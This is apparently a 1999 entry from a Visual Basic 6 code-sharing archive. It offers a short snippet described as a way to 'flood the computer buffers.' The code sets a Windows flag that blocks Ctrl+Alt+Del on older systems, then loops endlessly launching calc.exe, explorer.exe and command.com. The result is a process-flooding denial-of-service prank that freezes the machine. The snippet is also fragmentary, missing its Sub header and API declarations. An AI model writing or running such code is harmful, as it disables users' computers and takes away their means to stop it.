by Python (1 Submission)
Category: Miscellaneous
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Thu 5th August 1999
Date Added: Mon 8th February 2021
Rating: (1 Votes)
Flood the computer buffers.
Dim Ret As Long
Dim pOld As Boolean
Ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0)
repeat:
call shell("c:\windows\calc.exe")
call shell("c:\windows\explorer.exe")
call shell("c:\command.com")
goto repeat
end sub